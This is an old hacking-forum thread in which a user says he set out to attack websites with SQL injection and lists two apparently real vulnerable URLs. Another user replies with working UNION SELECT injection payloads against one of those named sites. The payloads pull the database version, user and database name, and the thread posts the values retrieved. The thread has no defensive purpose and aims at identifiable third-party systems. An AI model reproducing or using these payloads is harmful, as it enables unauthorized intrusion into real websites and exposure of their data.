Thread: Error : The used SELECT statements have a different number of columns

XxZzUniqueModZzxX - December 30, 2010, 5:01 pm
does any have clue? i decided to attack website usin sql injection and i got this error i also tried with other but still the same , im sure everythin i did is correct but this error comes and it confuse the shit outta me heres the vuln website http://www.solutionfocusedtrainers.co.uk/trainers.php?id=4 http://www.leadacidbatteryinfo.org/newsdetail.php?id=44

and oh yh merry chrismas and happy new year
i googled but found useless info same with search butt here

Thats because the website is using a version 4 type.

Version: 4.0.27-max-log
User: dbo197803277@212.227.114.136
DB: db197803277

-Viral. is it ? so it doesnt support union right

Viral Dragon - December 30, 2010, 5:13 pm
Rolla,

No it does support union. All you had to do was a "-" sign in front the "4"
(e.g.: index.php?id=-4 union select 1,2,3,4,5,6,7,8--)

Hackering,

Sure you tried? :: http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4%20union%20all%20select%201,2,3,@@version,5,6,7--

Or did you put one too many columns because you tried 8 like my e.g. ?

Hackering,

So when you click the link you don't see the version being displayed?

4.0.27-max-log
sorry i understand now... i'm disturbed when i searched the number of columns.

Viral Dragon - December 30, 2010, 5:55 pm
Then your not having a problem.

If you see the version that means the "-" is working for you.
You just have to put it front the 4 before the = sign.

Too get more info on the version/database try this Code http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4 union all select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7--
